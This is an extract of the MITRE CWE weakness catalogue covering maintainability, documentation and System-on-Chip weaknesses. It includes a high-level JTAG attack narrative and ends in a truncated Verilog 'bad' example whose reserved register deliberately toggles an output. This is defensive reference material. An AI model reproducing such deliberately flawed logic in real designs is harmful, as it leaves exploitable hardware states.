The product relies on third-party components that are not actively supported or maintained by the original developer or a trusted proxy for the original developer.

Extended Description

Reliance on components that are no longer maintained can make it difficult or impossible to fix significant bugs, vulnerabilities, or quality issues. In effect, unmaintained code can become obsolete.

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1105: Insufficient Encapsulation of Machine-Dependent Functionality

Weakness ID : 1105 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product or code uses machine-dependent functionality, but it does not sufficiently encapsulate or isolate this functionality from the rest of the code.

Extended Description

This issue makes it more difficult to port or maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1106: Insufficient Use of Symbolic Constants

Weakness ID : 1106 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The source code uses literal constants that may need to change or evolve over time, instead of using symbolic constants.

Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. CWE-1107: Insufficient Isolation of Symbolic Constant Definitions

Weakness ID : 1107 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The source code uses symbolic constants, but it does not sufficiently place the definitions of these constants into a more centralized or isolated location.

Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. CWE-1108: Excessive Reliance on Global Variables

Weakness ID : 1108 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The code is structured in a way that relies too much on using or setting global variables throughout various points in the code, instead of preserving the associated information in a narrower, more local context.

Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1109: Use of Same Variable for Multiple Purposes

Weakness ID : 1109 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The code contains a callable, block, or other code element in which the same variable is used to control more than one unique task or store more than one instance of data.

Extended Description

Use of the same variable for multiple purposes can make it more difficult for a person to read or understand the code, potentially hiding other quality issues.

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1110: Incomplete Design Documentation

Weakness ID : 1110 **Status:** Incomplete

Structure : Simple
Abstraction : Base

Description

The product's design documentation does not adequately describe control flow, data flow, system initialization, relationships between tasks, components, rationales, or other important aspects of the design.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1111: Incomplete I/O Documentation

Weakness ID : 1111 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product's documentation does not adequately define inputs, outputs, or system/software interfaces.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1112: Incomplete Documentation of Program Execution

Weakness ID : 1112 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The document does not fully define all mechanisms that are used to control or influence how product-specific programs are executed.

Extended Description

This includes environmental variables, configuration files, registry keys, command-line switches or options, or system settings.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1113: Inappropriate Comment Style

Weakness ID : 1113 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The source code uses comment styles or formats that are inconsistent or do not follow expected standards for the product.

Extended Description

This issue makes it more difficult to maintain the software due to insufficient legibility, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. CWE-1114: Inappropriate Whitespace Style

Weakness ID : 1114 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The source code contains whitespace that is inconsistent across the code or does not follow expected standards for the product.

Extended Description

This issue makes it more difficult to understand and maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. CWE-1115: Source Code Element without Standard Prologue

Weakness ID : 1115 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The source code contains elements such as source files that do not consistently provide a prologue or header that has been standardized for the project.

Extended Description

The lack of a prologue can make it more difficult to accurately and quickly understand the associated code. Standard prologues or headers may contain information such as module name, version number, author, date, purpose, function, assumptions, limitations, accuracy considerations, etc.

This issue makes it more difficult to maintain the software due to insufficient analyzability, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1116: Inaccurate Comments

Weakness ID : 1116 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The source code contains comments that do not accurately describe or explain aspects of the portion of the code with which the comment is associated.

Extended Description

When a comment does not accurately reflect the associated code elements, this can introduce confusion to a reviewer (due to inconsistencies) or make it more difficult and less efficient to validate that the code is implementing the intended behavior correctly.

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1117: Callable with Insufficient Behavioral Summary

Weakness ID : 1117 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The code contains a function or method whose signature and/or associated inline documentation does not sufficiently describe the callable's inputs, outputs, side effects, assumptions, or return codes.

Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. CWE-1118: Insufficient Documentation of Error Handling Techniques

Weakness ID : 1118 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The documentation does not sufficiently describe the techniques that are used for error handling, exception processing, or similar mechanisms.

Extended Description

Documentation may need to cover error handling techniques at multiple layers, such as module, executable, compilable code unit, or callable.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1119: Excessive Use of Unconditional Branching

Weakness ID : 1119 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The code uses too many unconditional branches (such as "goto").

Extended Description

This issue makes it more difficult to understand and/or maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1120: Excessive Code Complexity

Weakness ID : 1120 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The code is too complex, as calculated using a well-defined, quantitative measure.

Extended Description

This issue makes it more difficult to understand and/or maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

This issue can make the software perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1121: Excessive McCabe Cyclomatic Complexity

Weakness ID : 1121 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The code contains McCabe cyclomatic complexity that exceeds a desirable maximum.

Extended Description

This issue makes it more difficult to understand and/or maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. CWE-1122: Excessive Halstead Complexity

Weakness ID : 1122 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The code is structured in a way that a Halstead complexity measure exceeds a desirable maximum.

Extended Description

A variety of Halstead complexity measures exist, such as program vocabulary size or volume.

This issue makes it more difficult to understand and/or maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. CWE-1123: Excessive Use of Self-Modifying Code

Weakness ID : 1123 **Status:** Incomplete
Structure : Simple

Abstraction : Base

Description

The product uses too much self-modifying code.

Extended Description

This issue makes it more difficult to understand or maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. CWE-1124: Excessively Deep Nesting

Weakness ID : 1124 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The code contains a callable or other code grouping in which the nesting / branching is too deep.

Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. CWE-1125: Excessive Attack Surface

Weakness ID : 1125 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product has an attack surface whose quantitative measurement exceeds a desirable maximum.

Extended Description

Originating from software security, an "attack surface" measure typically reflects the number of input points and output points that can be utilized by an untrusted party, i.e. a potential attacker. A larger attack surface provides more places to attack, and more opportunities for developers to introduce weaknesses. In some cases, this measure may reflect other aspects of quality besides security; e.g., a product with many inputs and outputs may require a large number of tests in order to improve code coverage.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1126: Declaration of Variable with Unnecessarily Wide Scope

Weakness ID : 1126 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The source code declares a variable in one scope, but the variable is only used within a narrower scope.

Extended Description

This issue makes it more difficult to understand and/or maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1127: Compilation with Insufficient Warnings or Errors

Weakness ID : 1127 **Status:** Incomplete

Structure : Simple
Abstraction : Base

Description

The code is compiled without sufficient warnings enabled, which may prevent the detection of subtle bugs or quality issues.

Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. CWE-1164: Irrelevant Code

Weakness ID : 1164 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The program contains code that is not essential for execution, i.e. makes no state changes and has no side effects that alter data or control flow, such that removal of the code would have no impact to functionality or correctness.

Extended Description

Irrelevant code could include dead code, initialization that is not used, empty blocks, code that could be entirely removed due to optimization, etc.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Other	Reduce Performance	

CWE-1173: Improper Use of Validation Framework

Weakness ID : 1173 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The application does not use, or incorrectly uses, an input validation framework that is provided by the source language or an independent library.

Extended Description

Many modern coding languages provide developers with input validation frameworks to make the task of input validation easier and less error-prone. These frameworks will automatically check all input against specified criteria and direct execution to error handlers when invalid input is received. The improper use (i.e., an incorrect implementation or missing altogether) of these frameworks is not directly exploitable, but can lead to an exploitable condition if proper input validation is not performed later in the application. Not using provided input validation frameworks can also hurt the maintainability of code as future developers may not recognize the downstream input validation being used in the place of the validation framework.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1215	Data Validation Issues	2015

Weakness Ordinalities

Indirect :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State *Unchecked input leads to cross-site scripting, process control, and SQL injection vulnerabilities, among others.*	

Detection Methods

Automated Static Analysis

Some instances of improper input validation can be detected using automated static analysis. A static analysis tool might allow the user to specify which application-specific methods or functions perform input validation; the tool might also have built-in knowledge of validation frameworks such as Struts. The tool may then suppress or de-prioritize any associated warnings. This allows the analyst to focus on areas of the software in which input validation does not appear to be present. Except in the cases described in the previous paragraph, automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes.

Potential Mitigations

Phase: Implementation

Properly use provided input validation frameworks.

CWE-1174: ASP.NET Misconfiguration: Improper Model Validation

Weakness ID : 1174 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The ASP.NET application does not use, or incorrectly uses, the model validation framework.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1176: Inefficient CPU Computation

Weakness ID : 1176 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The program performs CPU computations using algorithms that are not as efficient as they could be for the needs of the developer, i.e., the computations can be optimized further.

Extended Description

This issue can make the software perform more slowly, possibly in ways that are noticeable to the users. If an attacker can influence the amount of computation that must be performed, e.g. by triggering worst-case complexity, then this performance problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1177: Use of Prohibited Code

Weakness ID : 1177 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The software uses a function, library, or third party component that has been explicitly prohibited, whether by the developer or the customer.

Extended Description

The developer - or customers - may wish to restrict or eliminate use of a function, library, or third party component for any number of reasons, including real or suspected vulnerabilities; difficulty to use securely; export controls or license requirements; obsolete or poorly-maintained code; internal code being scheduled for deprecation; etc.

To reduce risk of vulnerabilities, the developer might maintain a list of "banned" functions that programmers must avoid using because the functions are difficult or impossible to use securely. This issue can also make the software more costly and difficult to maintain.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1188: Insecure Default Initialization of Resource

Weakness ID : 1188 **Status:** Incomplete

Structure : Simple
Abstraction : Base

Description

The software initializes or sets a resource with a default that is intended to be changed by the administrator, but the default is not secure.

Extended Description

Developers often choose default values that leave the software as open and easy to use as possible out-of-the-box, under the assumption that the administrator can (or should) change the default value. However, this ease-of-use comes at a cost when the default is insecure and the administrator does not change it.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Weakness Ordinalities

Primary :

Notes

Maintenance

This entry improves organization of concepts under initialization. The typical CWE model is to cover "Missing" and "Incorrect" behaviors. Arguably, this entry could be named as "Incorrect" instead of "Insecure." This might be changed in the near future.

CWE-1189: Improper Isolation of Shared Resources on System-on-Chip (SoC)

Weakness ID : 1189 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product does not properly isolate shared resources between trusted and untrusted agents.

Extended Description

A System-On-Chip (SoC) has a lot of functionality, but may have a limited number of pins or pads. A pin can only perform one function at a time. However, it can be configured to perform multiple different functions. This technique is called pin multiplexing. Similarly, several resources on the chip may be shared to multiplex and support different features or functions. When such resources are shared between trusted and untrusted agents, untrusted agents may be able to access the assets intended to be accessed only by the trusted agents.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1305

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : System on Chip *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism *If shared resources are being used by a trusted user, it may be possible for untrusted agents to modify the functionality of the shared resource for the trusted user.*	
Integrity	Quality Degradation *The functionality of the shared resource may be intentionally degraded.*	

Detection Methods

Automated Static Analysis - Binary or Bytecode

Kernel integrity verification can help identify when shared resource configuration settings have been modified.

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Strategy = Separation of Privilege

When sharing resources, avoid mixing agents of varying trust levels. Group untrusted agents together to access when sharing a resource. Similarly, group trusted agents (at same trust level).

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-1190: DMA Device Enabled Too Early in Boot Phase

Weakness ID : 1190 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product enables a Direct Memory Access (DMA) capable device before the security configuration settings are established, which allows an attacker to extract data from or gain privileges on the product.

Extended Description

DMA is included in a number of devices because it allows data transfer between the computer and the connected device, using direct hardware access to read or write directly to main memory without any OS interaction. An attacker could exploit this to access secrets. Several virtualization-based mitigations have been introduced to thwart DMA attacks. These are usually configured/setup during boot time. However, certain IPs that are powered up before boot is complete (known as early boot IPs) may be DMA capable. Such IPs, if not trusted, could launch DMA attacks and gain access to assets that should otherwise be protected.

Relationships

CWE-1191: Exposed Chip Debug and or Test Interface With Insufficient Access Control

Weakness ID : 1191 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The chip does not implement or does not correctly enforce access control on the debug/test interface, thus allowing an attacker to exercise the debug/test interface to access a portion of the chip internal registers that typically would not be exposed.

Extended Description

Integrated circuits can expose the chip internals through a scan chain interconnected through internal registers etc., through scan flip-flops. A Joint Test Action Group (JTAG) compatible test access port usually provides access to this scan chain for debugging the chip. Since almost every asset in the chip can be accessed over this debug interface, chip manufacturers typically insert some form of password-based or challenge-response based access control mechanisms to prevent misuse. This mechanism is implemented in addition to on-chip protections that are already present. If this debug access control is not implemented or the access control check is not implemented properly, or if the hardware does not clear secret keys, etc., when debug more is entered, an attacker may be able to bypass on-chip access control mechanisms through debug features/interfaces.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	619
PeerOf		1263	Insufficient Physical Protection Mechanism	1798

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : System on Chip *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	High
Confidentiality	Read Memory	High
Authorization	Execute Unauthorized Code or Commands	High
Integrity	Modify Memory	High
Integrity	Modify Application Data	High
Access Control	Bypass Protection Mechanism	High

Potential Mitigations

Phase: Architecture and Design

Strategy = Separation of Privilege

Implement an access control mechanism to exercise the debug interface in order to control and observe security-sensitive chip internals. Password checking logic should be resistant to timing attacks. Security-sensitive data stored in registers, such as keys, etc. should be cleared when entering debug mode.

Demonstrative Examples

Example 1:

A home, WiFi-router device implements a standard, login prompt, which prevents an attacker from issuing any commands on the device until appropriate credentials are provided. The credentials are secret, and they are not from the well-known list of poor credentials.

Example Language: Other *(bad)*

If JTAG interface on this device is not hidden by the manufacturer, it can be identified using tools such as JTAGulator. If it is hidden but not disabled, it can be exposed by using a soldering engine.

By issuing a halt command before the OS starts, the attacker pauses the watchdog timer and prevents the router from restarting (once the watchdog timer expires). Having paused the router, attacker sets breakpoints and is capable of stepping through operations and inspecting/injecting data in the device's memory. Through analysis of the extracted firmware from the device, attacker identifies the exact pattern to inject to the device memory. After injecting this pattern, attacker successfully launches a shell on the device.

JTAG is useful to chip manufacturers during design, testing, and production and is included in nearly every product. However, it also serves as a huge, potential, attack vector if it is exposed to an attacker. Appropriate measures need to be taken to prevent misuse of this powerful interface.

Example Language: Other *(good)*

In order to prevent exposing debug interface, manufacturers might try to obfuscate JTAG interface or deliberately blow fuses in the JTAG interface. Sometimes, they are hidden in inner layers of the board. If interface has to be exposed, adding access-control protection to this interface would also prevent misuse.

Observed Examples

Reference	Description
CVE-2019-18827	chain: JTAG interface is not disabled (CWE-1191) during ROM code execution, introducing a race condition (CWE-362) to extract encryption keys *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-18827*

CWE-1192: System-on-Chip (SoC) Using Components without Unique, Immutable Identifiers

Weakness ID : 1192 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The System-on-Chip (SoC) does not have unique, immutable identifiers for each of its components.

Extended Description

A System-on-Chip (SoC) comprises several components (IP) with varied trust requirements. It is required that each IP is identified uniquely and should distinguish itself from other entities in the SoC without any ambiguity. The unique secured identity is required for various purposes. Most of the time the identity is used to route a transaction or perform certain actions (i.e. resetting, retrieving a sensitive information, and acting upon or on behalf of), etc.

There are several variants of this weakness:

- A "missing" identifier is when the SoC does not define any mechanism to uniquely identify the IP.
- An "insufficient" identifier might provide some defenses - for example, against the most common attacks - but it does not protect against everything that is intended.
- A "misconfigured" mechanism occurs when a mechanism is available but not implemented correctly.
- An "ignored" identifier occurs when the SoC/IP has not applied any policies or does not act upon the identifier securely.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		657	Violation of Secure Design Principles	1287

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : System on Chip *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	High

Potential Mitigations

Phase: Architecture and Design

Strategy = Separation of Privilege

Every identity generated in the SoC should be unique and immutable in hardware. The actions that an IP is trusted or not trusted should be clearly defined, implemented, configured, and tested. If the definition is implemented via a policy, then the policy should be immutable or protected with clear authentication and authorization.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-1193: Power-On of Untrusted Execution Core Before Enabling Fabric Access Control

Weakness ID : 1193 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product enables components that contain untrusted firmware before memory and fabric access controls have been enabled.

Extended Description

After initial reset, System-on-Chip (SoC) fabric access controls and other security features need to be programmed by trusted firmware as part of the boot sequence. If untrusted IPs or peripheral microcontrollers are enabled first, then the untrusted component can master transactions on the hardware bus and target memory or other assets to compromise the SoC boot firmware.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		696	Incorrect Behavior Order	1348

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism *An untrusted component can master transactions on the HW bus and target memory or other assets to compromise the SoC boot firmware.*	High

Potential Mitigations

Phase: Architecture and Design

The boot sequence should enable fabric access controls and memory protections before enabling third-party hardware IPs and peripheral microcontrollers that use untrusted firmware.

CWE-1209: Failure to Disable Reserved Bits

Weakness ID : 1209 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The reserved bits in a hardware design are not disabled prior to production. Typically, reserved bits are used for future capabilities and should not support any functional logic in the design. However, designers might covertly use these bits to debug or further develop new capabilities in production hardware. Adversaries with access to these bits will write to them in hopes of compromising hardware state.

Extended Description

Reserved bits are labeled as such so they can be allocated for a later purpose. They are not to do anything in the current design. However, designers might want to use these bits to debug or control/configure a future capability to help minimize time to market (TTM). If the logic being controlled by these bits is still enabled in production, an adversary could use the logic to induce unwanted/unsupported behavior in the hardware.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1365

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : System on Chip *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Access Control Accountability Authentication Authorization Non-Repudiation	Varies by Context *This type of weakness all depends on the capabilities of the logic being controlled or configured by the reserved bits*	

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Include a feature disable

Phase: Integration

Any writes to these reserve bits are blocked (e.g., ignored, access-protected, etc.), or an exception can be asserted.

Demonstrative Examples

Example 1:

An adversary may perform writes to reserve space in hopes to change the behavior of the hardware.

Example Language: Other *(bad)*

```
// Assume an IP has address space 0x0-0x0F for its configuration registers, with the last one labeled reserved (i.e. 0x0F).
Therefore inside the Finite State Machine (FSM), the code is as follows:
reg gpio_out = 0; //gpio should remain low for normal operation
case (register_address)
4'b1111 : //0x0F
begin
```

```
gpio_out = 1;
end
```

